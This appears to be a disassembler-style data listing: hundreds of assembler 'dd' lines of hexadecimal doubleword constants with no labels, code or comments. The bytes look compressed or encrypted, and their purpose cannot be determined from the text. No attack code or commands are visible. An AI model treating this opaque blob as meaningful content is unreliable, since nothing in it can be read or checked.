dd 0BE6A8D01h, 285C4D12h, 0DE9A01DCh, 0B248E4C6h, 0C483CBB5h
dd 830FE013h, 0C41ECF72h, 0B9D695BFh, 0C11D6C83h, 0F2B9E067h
dd 3904148Bh, 0AA905D5Ah, 0D644D3Ah, 813E8CC0h, 4048D200h
dd 84194BE2h, 0C4342EFEh, 0D9477EACh, 8117D9F2h, 0D72D0DBFh
dd 0EFA26038h, 82B72134h, 4DB8CAADh, 3BA72F12h, 125DDE04h
dd 0F7CF4013h, 0D88B837Eh, 0BF992C4h, 0D194530Ch, 39F6296h
dd 434C74F9h, 20066C6Fh, 86ECFC86h, 850F5B15h, 14E69DE2h
dd 0C0F8EDA7h, 8EBADCD3h, 0B5E2514h, 0B5EB44A8h, 994B294Bh
dd 0B15859F9h, 39174h, 0AD50A7B1h, 20EDE098h, 8A0BE2A5h
dd 4D606AD5h, 3CECC03Ah, 0A3978D29h, 0A2806020h, 22F61FAh
dd 2A48B711h, 90B7F810h, 862D74CBh, 0E0406DD6h, 0F5019556h
dd 8B403763h, 850843CEh, 0E93114A2h, 9CE1E8CFh, 4A07EC0Dh
dd 25D3C85Fh, 0D0037703h, 8668261Fh, 0E9C0A087h, 6953812Ch
dd 25CCB901h, 0BCAB8C7h, 0B9D473FEh, 8CA67659h, 0A4C2AC09h
dd 3EB72DD9h, 745DEEA0h, 6D471416h, 8202D6B0h, 8107126Ch
dd 9B1A17C1h, 0C0DAC838h, 0F818408Bh, 0C925C77Ah, 404E1A19h
dd 0B926EDFEh, 411AE47Bh, 8C3D95B5h, 8860FA4h, 0DD4201A3h
dd 29590910h, 3DF78A02h, 8B18A496h, 0EA092054h, 4DC65E4Eh
dd 7BBCB83h, 80D0DF04h, 44E3B5EEh, 31F39556h, 60876BF0h
dd 0BC4091B6h, 390DEDF0h, 74B592h, 0F7972591h, 776A2ED2h
dd 0FD8B5E0Bh, 783990E9h, 1D8978AAh, 40F373ABh, 0BF265D40h
dd 460D973Eh, 0B48CB161h, 14A23833h, 7470D731h, 520540B9h
dd 0F5126DB0h, 5EA65907h, 1F0BC6A1h, 2E0BC684h, 14A26753h
dd 0B857B630h, 13D12040h, 0B9665F06h, 0B9BE0BF4h, 181579A1h
dd 1CF45C8Fh, 3AF6D31h, 0F1EADA95h, 2D1AA971h, 0A148F035h
dd 5BF2A583h, 2B188D1h, 17CF303Eh, 0CC08870Fh, 2124500Dh
dd 0E7590340h, 0B2196B32h, 2016CD7h, 0F1962C0Dh, 0EE530E64h
dd 0B17E8356h, 78A8BAECh, 32411E0Ah, 9A6D2781h, 0BD4FEFC0h
dd 678402F0h, 889AF3EEh, 0D005E46h, 0F005E4B9h, 168633Ch
dd 846A1DF7h, 23B3DE91h, 7DDF12Fh, 7DD841Fh, 0F88B012Eh
dd 5F6BB650h, 0E9F97A82h, 0DF640252h, 97133E3h, 6DEC038Ah
dd 277FE0C0h, 0DA14809Ah, 80F5E859h, 9F9D737Dh, 5AC1F27Ah
dd 8217C224h, 6040B86Ah, 0DE1258DFh, 2C3367E9h, 929010C8h
dd 62E9201h, 0ED001923h, 72C09650h, 0F2810716h, 29BF17A3h
dd 246D1182h, 0E5A94005h, 3102BDB8h, 0B7515698h, 10F15CF7h
dd 7C6F4204h, 346AD319h, 0E25575CCh, 226858A8h, 0B0C1256Dh
dd 7F8111Dh, 99621660h, 0DB8C01F1h, 2004C3F6h, 5E8AFC89h
dd 6856601Dh, 0A823B852h, 46AC29Ch, 710DEC1h, 0FB816476h
dd 42F5B691h, 6847032Dh, 0EC18AC9Bh, 8B048A79h, 4F401EF0h
dd 7B266168h, 6536BD2Fh, 0ACF15BA1h, 280C227Dh, 29851856h
dd 807575C0h, 64986841h, 3EBDDB87h, 60E2B8Fh, 684C0368h
dd 8092E7A4h, 8B2920B4h, 123F889Dh, 9382045Bh, 1554AEFAh
dd 3C78415h, 43D8B9F5h, 702500Ch, 30252685h, 6146CB93h
dd 0CA2E47D0h, 114A8BB5h, 45426721h, 0A5B6C068h, 3930CE92h
dd 66F6FC14h, 280C026Ah, 9B3275C2h, 0A1B46860h, 0C8CD44Eh
dd 1825D8B3h, 96B5DBh, 9AEAC281h, 31603316h, 1DFD8513h
dd 4155A4A4h, 33977003h, 1EC3A20h, 0B10163BAh, 43E9500Fh
dd 1BD85D56h, 6D005F35h, 4F19C4E1h, 5F0F7E47h, 85F8C88Bh
dd 14080920h, 7435FF64h, 9D1E9C4Ch, 2589CDD4h, 0B29163FFh
dd 88DC3015h, 82695EBCh, 7A07CD5Ch, 80278075h, 0BA8402EAh
dd 7686F93h, 1EDDF360h, 3700418Ah, 0F28209C2h, 295221EDh
dd 413C92BDh, 89132407h, 32751E9h, 760EB280h, 1185420Ch
dd 218D0B20h, 1E78828h, 48B53DC9h, 0B8DB335Ah, 0A50D44EFh
dd 18725A00h, 977769AFh, 8BC10B59h, 1E056E9Eh, 89D32075h
dd 31637195h, 8E60C045h, 297E8094h, 0F08154B5h, 309DEE61h
dd 400F2EE5h, 7093F0Fh, 188F640Bh, 4BC48390h, 8DF31104h
dd 6B6E4Ah, 7084BAC9h, 5C831F09h, 457863FBh, 4281D930h
dd 1BF16039h, 458D0182h, 9DBB002Ah, 0C3CC0A7h, 9D402A61h
dd 54009486h, 161C69B2h, 1FEBFE6h, 0A1C695DDh, 9279E906h
dd 81F15625h, 0F159CD93h, 0BC09EBAEh, 0FA81C70Ch, 3FF6748h
dd 15B8A683h, 0C3AC0450h, 305C8B31h, 29C2E855h, 0A8A8F0D5h
dd 0A2838B93h, 5B9F821Bh, 4D89053Bh, 944F5D0Ch, 0B48506FEh
dd 27C0B9DBh, 587A4F16h, 8DE23E58h, 47F974Bh, 161CCD54h
dd 0FD9D8305h, 61599A90h, 78C5B350h, 0C5E6B4CAh, 40893F2Fh
dd 2EDBBADFh, 109C2337h, 0DC613212h, 11F2280Ah, 422E6204h
dd 13096EF8h, 2D53ED80h, 0CD6A3A08h, 1427B17h, 5B6FA68h
dd 0B84240B9h, 5526D704h, 81004748h, 65BB0DF7h, 868502D4h
dd 34B640BAh, 0E8228355h, 0ED0C3B5Fh, 5868FB82h, 0CEFE564Dh
dd 0CA28E588h, 2EFC71A2h, 5C68D920h, 86C8000Fh, 0C08B9816h
dd 9AB59529h, 4262E790h, 0AD10043Dh, 2B218405h, 201C72B9h
dd 28B5CC23h, 1269279Ch, 0A900A1ECh, 7BDEC991h, 181E3BDBh
dd 9AFC4FC8h, 88AA3AE9h, 2E31F410h, 0F0353838h, 45C001ADh
dd 1656378h, 6F697470h, 0CD49206Eh, 6D72D866h, 410C6151h
dd 0E5656C15h, 202CCC73h, 641D08DFh, 0BE68744Fh, 8F6C3673h
dd 0F3697733h, 0D363F367h, 7D73FB64h, 2DF7F328h, 5C6B4061h
dd 2A2EF6C7h, 20196D74h, 6B166854h, 75ED79D9h, 0DF0D0AFCh
dd 8C01E904h, 73467028h, 544362C0h, 0EB2B4C52h, 9ED166FFh
dd 97CD1E69h, 8FB1A064h, 517970A1h, 0E5696C08h, 7261FC62h
dd 36296428h, 65564280h, 99A473FAh, 25FE3DFEh, 431E94F3h
dd 6B630587h, 0F484E49h, 554FE164h, 3F501C54h, 1DD16F72h
dd 3B680F0Bh, 0DE6C80Fh, 0E3D7469h, 0DE1E420Fh, 688E5054h
dd 0F8E91E18h, 104910CCh, 12D84E9h, 0E3880512h, 8AB3ACB3h
dd 6819074Dh, 95708025h, 2419D9F3h, 7E031E2h, 2C075A19h
dd 61164CD0h, 0C2C324A2h, 4AC26559h, 250A12B1h, 73C4F021h
dd 0C4FC216Bh, 4106BC0h, 35DEB23Ch, 0C78843B8h, 85F477D6h
dd 0F8ACCF91h, 0A9D61087h, 41B10C18h, 6EA2F90Bh, 22810621h
dd 579511EEh, 2501E40Dh, 0AB2007C9h, 8163C519h, 0D8B1AFC2h
dd 8D857838h, 187BB295h, 40283452h, 3BD42EC3h, 2FD909FAh
dd 0C444D4Bh, 628A5540h, 0C31322F4h, 0A621F84Ch, 42118C65h
dd 0E4F02150h, 1EFC2254h, 43705842h, 485C883Ch, 53DC4AF0h
dd 0AFB40DEAh, 0CD056845h, 210C5A26h, 0F4103BF8h, 43122ADCh
dd 0A1F021FCh, 490A2888h, 1E851CE6h, 0D907423Ch, 0CDDEE913h
dd 656A2458h, 2D082440h, 0DE383919h, 0A8A60112h, 0E260C112h
dd 301AF2FFh, 8E010C88h, 322D39E7h, 5D7BD68Bh, 0EF86121h
dd 0EC28F04h, 661F1704h, 0B77025FBh, 0CC1803F6h, 0B44E83B2h
dd 0E6801B9Bh, 0F987A1A9h, 7AB25702h, 71CF8BADh, 41304406h
dd 7EB7BE66h, 0E952046Fh, 6B30F1A6h, 5300DC6Eh, 0C8C5B238h
dd 0B70919DCh, 71DF8CAFh, 7443007Eh, 0D86677E2h, 0EB4F0D1Dh
dd 4C7F744h, 9D678F92h, 8F14913Fh, 0DCD680E2h, 685F8699h
dd 91C41DBFh, 4D190007h, 6E939D1Fh, 0EA810011h, 10C18C01h
dd 0E9A0595Eh, 0EC4E42CFh, 0B72A0D6Fh, 73C80136h, 3A6F5B7Eh
dd 80606C61h, 3F52A4A9h
dd 0B8B057Ch, 870FBBh, 935A5956h, 0BA45250h, 90B531ECh
dd 0D99A630h, 2A10C2FBh, 585AFC2Bh, 0DB06BCE5h, 0E71888h
dd 0E994EC37h, 9C183988h, 0F1CEA600h, 6080859Dh, 83564FD9h
dd 784B5E25h, 15E3E9B6h, 4B8F4007h, 54E9C754h, 7A702517h
dd 0B0447A25h, 705ABE85h, 963A48F9h, 0CA6E8B12h, 5E2B5E8Bh
dd 72001C23h, 8839180Ch, 13AA7069h, 0E6C48B8Ch, 7855E0E5h
dd 0CDC909AFh, 7D5BEB01h, 802BE679h, 92AEEB4Fh, 1F0CE831h
dd 0B6C0B4F1h, 18A20EACh, 656628FFh, 0EE712C01h, 615F6F09h
dd 0C2EC68E9h, 600C00FAh, 750940F5h, 0A69C4FDEh, 9757FDCh
dd 0B1867D4Ch, 0CE007A64h, 8077AC21h, 748FFC62h, 649B4B99h
dd 216EAAFAh, 39BE323Fh, 81228793h, 300BF91Bh, 726B84E0h
dd 8030512Ah, 55D9A1C3h, 0D8BC61F2h, 72D4BD86h, 1234C824h
dd 800AE888h, 0A41DE1E4h, 471CD2C6h, 6002DDCBh, 72B85961h
dd 0F28B0B5Fh, 0EE44E7FFh, 7BDBBB00h, 973AFD26h, 0C3B90462h
dd 0F0570238h, 789E1085h, 40B60F60h, 0C8FE2001h, 0A2D6B045h
dd 785F0212h, 61BA057Fh, 31684A1h, 0ABD1C9E8h, 0E7B060CBh
dd 720E1B01h, 7C0BF2Ah, 2FDB3E7Bh, 0F6D22868h, 42D69496h
dd 8EB9F50Eh, 4CE69BB8h, 0CB896C06h, 83B4D94Fh, 0F5FA988h
dd 8823C2DDh, 511B3F00h, 696D1782h, 98A30504h, 0DB0E4F08h
dd 0F95F26E3h, 613DC7B0h, 818BF497h, 25B9AE94h, 0E2800018h
dd 37FF3AD8h, 5EF2D289h, 81C32200h, 0D71D8CC6h, 0F6812265h
dd 1757336Eh, 2EF2271h, 78975412h, 8A46524Dh, 91082A13h
dd 580035B7h, 0B7CB8156h, 7B1F83D0h, 0D35E078Fh, 9E7FEF80h
dd 6FB33B02h, 11F8AC14h, 0E10BBA66h, 61E98399h, 82161CB0h
dd 2960C67Bh, 8056B911h, 91D400CBh, 0A070BB4Eh, 1200F810h
dd 88205A43h, 0CE3624B6h, 0FB02D2FEh, 0EBD084E9h, 0B22BA800h
dd 0CF4993E6h, 837700A5h, 0C9E54581h, 0CC52AE37h, 2F60E004h
dd 1710C0ACh, 5BA62125h, 21CD4637h, 0CE954980h, 3D5E0708h
dd 0C0C58ECFh, 836A6B47h, 0E8ED3906h, 7848A675h, 64847C8Ah
dd 8C12818h, 0CD537E7Bh, 0E8EC0350h, 2854776h, 0A0345821h
dd 0E4E070F2h, 7963CD50h, 18BE7618h, 41216139h, 0CD3070B8h
dd 34C718D9h, 3239C3A4h, 510E7630h, 405FA9D4h, 0CE7391AEh
dd 0E88600EDh, 5C8150D0h, 890CD6ADh, 91E63233h, 0BF172A1Ch
dd 25F098h, 4753904Ah, 0A42043CAh, 0BCBAA70Ch, 1D83E040h
dd 11224D5h, 9186A8B2h, 0DE199F69h, 0A65BF587h, 7EB954E0h
dd 0E7C40775h, 0C0FDCDA9h, 78472538h, 3F1F9A00h, 0E3D092E4h
dd 80D630B0h, 1A0ECE09h, 0A5952A00h, 0BA8CA436h, 4CA757BBh
dd 0AE388300h, 923C6B24h, 4844E0A4h, 481A6120h, 90974998h
dd 0C5228EF0h, 0ACC7472Ah, 57BD3E00h, 303D60B4h, 5EBF06E5h
dd 487349A9h, 0BD828406h, 8420B3EFh, 9250EE0h, 658F2FA6h
dd 4018270Ch, 0DC67A074h, 2081E521h, 7182D747h, 89F9448Bh
dd 0AF0C888Fh, 0D501DF48h, 6D5BC583h, 71832676h, 0CC78B7E9h
dd 17FF822h, 3E322DF5h, 0C4C83CC0h, 0D66775AFh, 66301DC1h
dd 74686CFh, 0CE7E9E6Dh, 0AF404CA5h, 0B143E489h, 0A36A8A33h
dd 2297D890h, 0EE00A210h, 9925E686h, 6B4AF12h, 4777B6D4h
dd 361DC1CEh, 0D3094349h, 0E3741044h, 0DDBCA8D4h, 47140F1Dh
dd 9126C06Eh, 0A78799Eh, 5D070F90h, 0D4C4864Eh, 66ADB390h
dd 0F19609A0h, 2C0495A5h, 90254046h, 0D5E10Bh, 0FBEE98Fh
dd 0FE09AF3Ch, 2960CD15h, 7CD300C0h, 5F769F8Fh, 2F1F0398h
dd 3945D45Ch, 1CED2124h, 5951BC8Dh, 59868817h, 8FCF0011h
dd 3556B3E3h, 0B6E232C5h, 4549D4A6h, 513835A8h, 8C546062h
dd 1B421E4h, 9405C633h, 412C51B3h, 3176B00Ch, 3CD0100Ah
dd 0AA485FBDh, 0D250F20h, 7FA120B2h, 1C279F03h, 0D5FBB04Ah
dd 0AE8F14CAh, 4C233A5h, 27EA4430h, 90B94EC1h, 0C04275F0h
dd 62AF17A9h, 6033EEDh, 33EF57A6h, 0FD7FB8F6h, 0C2763007h
dd 7E39C991h, 7098CA00h, 3372C7F0h, 422F32Ch, 0A6760F0Ah
dd 0B9105E28h, 1BE88639h, 7DE7190Ah, 0FF022CA7h, 0A0E04733h
dd 54AD30C0h, 0BF4830A9h, 829FC561h, 5FB7DF01h, 0F0C1906Fh
dd 53211C22h, 0D8E10E80h, 50308826h, 427198AEh, 0BD1E10F0h
dd 31891864h, 2108D8F6h, 0FE10F142h, 0C17716A5h, 0B5F13029h
dd 1ECE1180h, 0A8EA38BBh, 2DDE6B00h, 33AEA58Fh, 2CC85042h
dd 71201FF9h, 41F031C4h, 0E0902538h, 3E03EAA4h, 3C563AEEh
dd 0B68104FEh, 12BBD5FBh, 8EA90448h, 8281F6CEh, 84CB5A23h
dd 7C60ED20h, 271AC890h, 796D09FFh, 0A880DD68h, 7517CEBCh
dd 4126B202h, 0C00BC0BDh, 243A2578h, 3CFAEFh, 0EA9E7288h
dd 0AC140640h, 37443457h, 86495119h, 631F3BCh, 0E223B586h
dd 551380C0h, 6C4F6154h, 0BA1A86B0h, 44830818h, 79137EEDh
dd 1FD13C18h, 0E65F00E2h, 3836D3Dh, 94A4A70Ah, 30777330h
dd 0F0565E82h, 10986AADh, 3EFD11B4h, 900D1B55h, 91DF9A18h
dd 3C60578Ch, 0F3CF0192h, 0A6012543h, 489BD04Fh, 0C036762Ch
dd 0FB57D080h, 3C3BA939h, 0A1FCB780h, 7510A0B0h, 3215BE06h
dd 3F8DA29h, 25505F4Fh, 0E470E70Fh, 2789ED8h, 4408485h
dd 0E4E092h, 86764602h, 0C4BCBB15h, 0C8475888h, 0ACAB5E9Dh
dd 585E0B64h, 4376492h, 0C46A4706h, 90752C10h, 0CDE1854Ch
dd 40DC1EE4h, 836CBB8Dh, 0FF2625C6h, 0D0001493h, 0E1843B4Ah
dd 29EB6459h, 0FC4021A9h, 989FC817h, 0E31103FBh, 0A43A4Eh
dd 3FFD2B32h, 0D0839AF3h, 5FFE5E1Fh, 0B5D1E780h, 0E35996Bh
dd 1E0A5647h, 8D30A420h, 0A10E3375h, 0AC786Ah, 0BCD6A9DCh
dd 8812008Ah, 0CCB4E0BDh, 0F97C7491h, 1DC4C607h, 0D300C32Ah
dd 77AF46h, 59986760h, 0C02B5396h, 9C1D8300h, 88899399h
dd 0B00C046Fh, 8002FF8Eh, 5006633Dh, 566D2300h, 1416C113h
dd 0D094A3CAh, 68A7ACh, 5EAA804Bh, 304EDEE6h, 7BC758C7h
dd 4827ABE0h, 70CF009Ah, 2647A6A0h, 9D0112C9h, 80E67902h
dd 0FBD8F52Ah, 5EEE008Ah, 0DB671E7Dh, 3409E497h, 80202722h
dd 462ACD87h, 79DA1CFCh, 0C0A3DCB0h, 9AD5BE11h, 28389CABh
dd 9BD18A07h, 98BFE856h, 0A7799948h, 0BE270046h, 8315C28Eh
dd 5E05FEE0h, 7645BF14h, 6F73A04Fh, 0E84C078h, 69B224h
dd 0D8EE57F7h, 42C0BBCCh, 0EA410C00h, 0ACDB8CE7h, 2E690035h
dd 0F3315A92h, 6C0FE4D3h, 0E0DC0B88h, 0F9A064Ch, 14AD50EAh
dd 4FF1000Dh, 93512D01h, 0B93F411Bh, 470980B7h, 0DC75E57h
dd 0B6A90719h, 69A19AF0h, 0FE07B00h, 59383C36h, 9500F816h
dd 35B4B8CBh, 0F23CD29h, 2BC74A1Fh, 43A0B14Fh, 0F580AF6Ah
dd 708BE0E9h, 0BE508400h, 8C42F730h, 59580075h, 0AFF29CB8h
dd 3200F06Bh, 0F7F418F9h, 0A01E570Fh, 36CC8Fh, 0A42347D7h
dd 9410FADDh, 0DA4C8D01h, 2753AFA5h, 1F3CFC24h, 81DFD2F4h
dd 75BDCF5Ch, 490020E5h, 0C6D39610h, 369F001h, 80D86359h
dd 4FF85119h, 0D65619h, 0DAA3107Ah, 9523B42Ah, 0DEC97003h
dd 0E8AB4F93h, 0F5776Ah, 529AFE68h, 92F87814h, 38018926h
dd 0AC3F2200h, 7F6CD084h, 795C3F55h, 0AA111C7Ah, 0ADECC9D8h
dd 561F0400h, 0D204553Eh, 0F7A40FBCh, 693281C0h, 3F00020h
dd 8F7B8C18h, 2A01AA6Ah, 0C68E44E1h, 94F86670h, 0E61D0059h
dd 568CA1EEh, 74F69FD8h, 26A51C01h, 6E3CF872h, 88013321h
dd 28708EA4h, 925C7786h
dd 0FA6D0064h, 8FD39594h, 7890E713h, 4CF1E324h, 29488D8Ch
dd 132C409Ch, 1BB35A07h, 9BC01DD3h, 0BE5952h, 8E0FEB89h
dd 0C0D2FD51h, 2F1BE201h, 43EFC144h, 0BF324500h, 70540800h
dd 6A8DB447h, 3B4100CEh, 8A0A209Ch, 0FB059364h, 9F8CF7B2h
dd 5059FC04h, 0C8B64883h, 7A4FE920h, 0EF732CC3h, 4BC00D3h
dd 6CDC08F1h, 23CF1100h, 8F1AF9C4h, 4824FC3Dh, 0E005B436h
dd 69AC50h, 58FC22D6h, 0D40093ECh, 5C029AA7h, 0E60738h
dd 39BEA2B7h, 1D01538Eh, 319F1F00h, 0D92B7586h, 0FB4D00F5h
dd 944FD248h, 0C890DFA9h, 6B722401h, 0EAA2B087h, 0DB8880EEh
dd 1E60401Bh, 4415835h, 0D0D0F1ABh, 62F54810h, 0EAFF310Eh
dd 5B3407B3h, 5E370029h, 8EBDB2h, 5D18057Bh, 0C6BA499Dh
dd 2000DCB0h, 90B6E788h, 0E81F21h, 0CC0C696Bh, 5481AA53h
dd 0B8409405h, 0D807F208h, 0AE10D6F7h, 0FC269E9Dh, 0F397004Dh
dd 0ADE549FCh, 791FE2EBh, 0DD49275Ah, 333480FBh, 0F31BF8h
dd 1A43D515h, 0F620470Bh, 7F120100h, 6DE6D68Dh, 0DEE8AAh
dd 0A9145053h, 5D87A8E1h, 97C97900h, 0D65A69CDh, 0FB840166h
dd 0E05B2EAFh, 372170E7h, 0C0DD0100h, 34272DC6h, 8D510095h
dd 5CDFCBF1h, 0D8014B9Dh, 0DBA8FA0Bh, 9CEC930Dh, 0C0E4F433h
dd 0A6B92A21h, 62CCED4h, 7002265h, 0B4A474EAh, 7C9904DEh
dd 80B65A16h, 0D59761F1h, 69885601h, 5BC1C933h, 0F7E820h
dd 0D20963B5h, 0AF5CA8A9h, 7BD54800h, 8F96369Fh, 0BE870BAEh
dd 0AB809865h, 185FF7DAh, 0B409EE00h, 0C7D740AAh, 7C109BAh
dd 90002D8Ch, 46E763B7h, 0FE70B301h, 36555406h, 395D0D8h
dd 0AA664059h, 0C567F2h, 0CE121DFCh, 0F40094A2h, 0E4053261h
dd 1D4C4E0h, 0E95D667Bh, 20D0A588h, 0C1279B7h, 0C81E981Dh
dd 0A2493F87h, 9945D00h, 49D5D0Bh, 29077B00h, 0ACCB831Ch
dd 0A150D709h, 0B200029Ch, 0DB18E8D4h, 0EB0F07FEh, 0B04A3CB6h
dd 148F2239h, 36AD7302h, 408CC5C3h, 3C12B358h, 96042BA1h
dd 9117D96Ch, 0C19A0DF8h, 8204347Dh, 0F88F4102h, 401698DCh
dd 0E817901Ch, 2EAECE2h, 1315EFDh, 0C0C0ACE8h, 2E003F39h
dd 2BB89765h, 0F141AB5h, 7BD12F8h, 8029600Bh, 0D1B9AC00h
dd 8C004045h, 25317C1Fh, 94ECAFh, 109C7F6Bh, 26DE0C08h
dd 7175BF00h, 0E2448B0Ah, 0CE2700EFh, 35736288h, 5B04D2B9h
dd 1BF03033h, 0E2E67CC3h, 0EF8087D8h, 2FB06B5Fh, 39DFA0E4h
dd 4F5427h, 0EF6F12D7h, 0F49A4CE7h, 0F77C7703h, 0D30B4BA3h
dd 4A1E8049h, 578900AFh, 2A75F44h, 0B8A1E913h, 0CDE0EFBDh
dd 0C601E65Bh, 0EAFE8295h, 85C0A073h, 3E1132Bh, 6DD60F7Eh
dd 15AE9580h, 0B9005F4Fh, 0BD96D390h, 39D9C1BBh, 29619ADh
dd 5BC9006Ah, 0E1805973h, 53F3BC0Fh, 0AE0F4BA2h, 0A3836064h
dd 7DE9612Ch, 78B20348h, 45441376h, 0DA1282C8h, 89669C00h
dd 0B7E0ABCBh, 0B64F48BBh, 0B8C52600h, 0A0E7B41Fh, 81836F01h
dd 0EAA5F696h, 0E9F4B821h, 92BCF2BDh, 0EFBF401Ch, 1D9DB201h
dd 5925FDABh, 3D75D6E4h, 1085282Ch, 7B8089h, 0D1F72DF1h
dd 0D2000ACBh, 2C77A0EBh, 5CF581h, 0BCCDA1E7h, 9EAF41C7h
dd 12982500h, 0E1BA02FAh, 0B9620955h, 7040C971h, 3C495A4Dh
dd 7ABA010Ch, 82B10DA8h, 63C0E1D0h, 8AB01880h, 0AEDB1011h
dd 18009A3Ch, 5E153FC1h, 2158DF3Dh, 0E12502ACh, 8072B8A5h
dd 54491930h, 0A3B50092h, 6539EF3h, 100E2F30h, 869050C2h
dd 550AEDAh, 4E4DB116h, 0B8480586h, 4B240A6Dh, 83DA07FBh
dd 4DDB41B5h, 90144385h, 0F86CBDF1h, 0AA0C88A9h, 0D0F82901h
dd 4EE100C8h, 2E71B8D5h, 12608DC0h, 3E89ADB0h, 0CD450670h
dd 49B01A60h, 70CAD430h, 94FA64C6h, 48B408D0h, 0DE61E104h
dd 4485E4A0h, 192024BDh, 14A85094h, 0A1DC445Ch, 16322284h
dd 1EBBBC45h, 46DB1900h, 7BC86BB2h, 58052301h, 0A8CB92EBh
dd 671720h, 0BDC9EF52h, 8EAD90C3h, 16024E00h, 85289C26h
dd 594B07Dh, 39048062h, 0B49080E2h, 5C2E1A82h, 0DD84306Ch
dd 0E900E6A2h, 9679AFF9h, 30D01A26h, 0B8682400h, 375E54DCh
dd 0F429C849h, 0D440D12Bh, 0C9B064AEh, 8D475900h, 0EC84DFEAh
dd 0B068066Bh, 68A71AF5h, 0F2A45300h, 2CB6B898h, 0A3B706B5h
dd 46F6DB2Ah, 53D7B300h, 0B1558F4Bh, 3FE0009h, 21E4BED1h
dd 0BEA0523Dh, 0AC00A6E8h, 1751E556h, 0E2A7735Ah, 7238B850h
dd 543139F3h, 0F0586728h, 82EF001Dh, 7173C1A4h, 4424F238h
dd 0B60018C5h, 8D10775Fh, 76ED0045h, 6799D51Eh, 0D002170h
dd 30B5FED6h, 6F754Ah, 0B01C2C78h, 7A709DEBh, 80049138h
dd 0D3EC03E8h, 12F25D77h, 0ED995Ah, 11BD8BDCh, 91F0418Fh
dd 80E8535Ch, 0EB7B4038h, 0E17D009Ch, 4C280701h, 6B1CEEE5h
dd 62813948h, 124D8FB2h, 8FACCC4h, 0B8F98DFBh, 2CDB0Fh
dd 0EB3F8904h, 8FC50087h, 1B756C9Fh, 0E400EDB9h, 5072B033h
dd 79D2520Dh, 0F3023ECEh, 0E5D58D00h, 61B8FAB2h, 0A31058B0h
dd 0D000C899h, 0ABEF2BBBh, 0ED0BB430h, 9E88040Bh, 774C009Ch
dd 0E2A11C30h, 0FCA4D56Ch, 0BCA1027Eh, 10B4E861h, 0D41EAC07h
dd 0BA90BD16h, 3C8E3E82h, 2ABF4CF4h, 88338595h, 0CE75B101h
dd 0F53E0E82h, 98282497h, 0FAD50B00h, 6243BE28h, 9E0801A3h
dd 0FFAB716Bh, 0B9582075h, 0CB7F6EF2h, 0DF5C0200h, 500A853Eh
dd 0B1A30013h, 0FBECE59h, 0C13160C6h, 7BA1F615h, 288FAF0h
dd 6993FB97h, 0E2871A76h, 0B3410E56h, 8BE1F317h, 0EE3E98h
dd 0A0BA8BF8h, 1D0500FFh, 0D77BD1F0h, 139B93Ch, 8D5700ECh
dd 0CDBDB037h, 829901F7h, 0AD683219h, 767820D6h, 8E722500h
dd 0A1CB9FDFh, 0B22A00B9h, 113C690Fh, 2F25FAC8h, 9B348106h
dd 0D7600212h, 7289078h, 462D6934h, 8C20F9A5h, 0D6239048h
dd 0AE06EE00h, 7CD34228h, 302701DAh, 0BA9A40E5h, 0A4C4606Dh
dd 97E86B26h, 1E03B826h, 0A97610BCh, 87E8A31Ah, 3C81017Ah
dd 7CEA616Dh, 3FE824FBh, 9F9E20h, 1F7379BDh, 0AA11B1EBh
dd 0C696A203h, 0C00EB2h, 97C31420h, 1E5974FCh, 6A8FBB0Ah
dd 39009C2Eh, 530A46E0h, 0BE8C1FDAh, 0DBC80CDh, 0F628C910h
dd 372F1C79h, 17F40F85h, 5E50F30Fh, 5EB6AD40h, 3DA75A14h
dd 160061AFh, 8AF0F53Fh, 38122FB4h, 53005C6Ch, 50BAB0DDh
dd 27E244h, 0B8142CC4h, 599B321Ch, 8C0EF48h, 517CCBh, 0A757653Ah
dd 4C766C90h, 0E2BE4A18h, 70D4B8F0h, 7020623h, 19A0DFC4h
dd 2C165Ch, 0B8100CA6h, 3EC97605h, 4380BF61h, 9E64334Ah
dd 450012A8h, 0C5650DD2h, 0E6250549h, 5A861EAAh, 72EF80F1h
dd 35DC5BEEh, 0C1240B0h, 0E0C06292h, 12857388h, 4F6FDBh
dd 95B133F2h, 0F5002968h, 13F907AFh, 8381B5h, 9424D5F3h
dd 0A6780C43h, 5DC50807h, 2080410Ah, 1FA8122Ah, 4206903Ch
dd 19FAEE73h, 0AD7E3CF0h, 31EAA109h, 7FF0A38Ah, 72ECD82Ch
dd 0B7D60020h, 0F82E9623h, 530E26FFh, 6D697AE0h, 4A20B19Eh
dd 0B6E480h, 8438668Ah, 13C0D7B0h, 98461F00h, 23BADB64h
dd 85BB020Fh, 0F9DD8771h, 0E23EC2E0h, 755FD900h, 0E4EF3251h
dd 0C8340B1Eh, 3C00E6C4h, 0DCD746F8h, 70004A98h, 36FA496h
dd 12D5044Dh, 0FF36031h, 0E9427424h, 3840FAD3h, 0CCFA7F53h
dd 11B3B500h, 0C0644F52h, 2D1002A4h, 8E1EA071h, 3E96C680h
dd 811D861Ah, 0A5C7824Eh, 56D1A91Bh, 51202519h, 395400E9h
dd 0FE5ECF79h
dd 0BA008FDFh, 73BE7DA8h, 4B490Fh, 9A114C1Ch, 337E4E65h
dd 9BFFEC05h, 0B0001250h, 0E0DB5990h, 503A7835h, 3DE8E8ADh
dd 675F3A4h, 14643F38h, 922C18AEh, 97185E32h, 6B41329h
dd 7C011D57h, 7B4CD8A8h, 910903F8h, 0F011E378h, 770EE075h
dd 0F2A7005Ah, 73449235h, 3D0B07B5h, 226C23h, 0C8A2DB50h
dd 70BE00E9h, 0ACCD89D7h, 0B3065F37h, 6D99E2BCh, 0B6190970h
dd 36059D3Dh, 0A8940068h, 394C30FFh, 0A2F55F00h, 35D0FD40h
dd 48C10003h, 6347849Ah, 240568F8h, 570DEAFEh, 68808784h
dd 0CFD35Eh, 0E7F2B7E3h, 452CC88Ah, 0DD411300h, 752450DBh
dd 39FC00F7h, 4D8BA54Eh, 1A00AE47h, 0D11545F5h, 0F77D23h
dd 86209365h, 0ACDA4A08h, 37777807h, 0FB83F421h, 88D1A8AEh
dd 0E7D00A7h, 27B3047Ah, 6C029C4Ch, 8B2CE876h, 69A860FBh
dd 0A6710Eh, 1D2B06D9h, 8C4686A9h, 0F1ECD000h, 4DE0D6ACh
dd 0CCBD000Bh, 835E1340h, 0E8001576h, 0B71832C8h, 0C32EE3h
dd 0F25418Dh, 10975FBAh, 0FCDD9400h, 1B12F398h, 0D660252Ah
dd 622B2001h, 0C82C6032h, 43A7C300h, 75369D39h, 824001Ch
dd 937F98E4h, 0DDF69E66h, 0C292F800h, 9FF76A6Ch, 0EA113855h
dd 5A809D80h, 78B79BD4h, 8D0154Ch, 440EC6Eh, 9357E3D9h
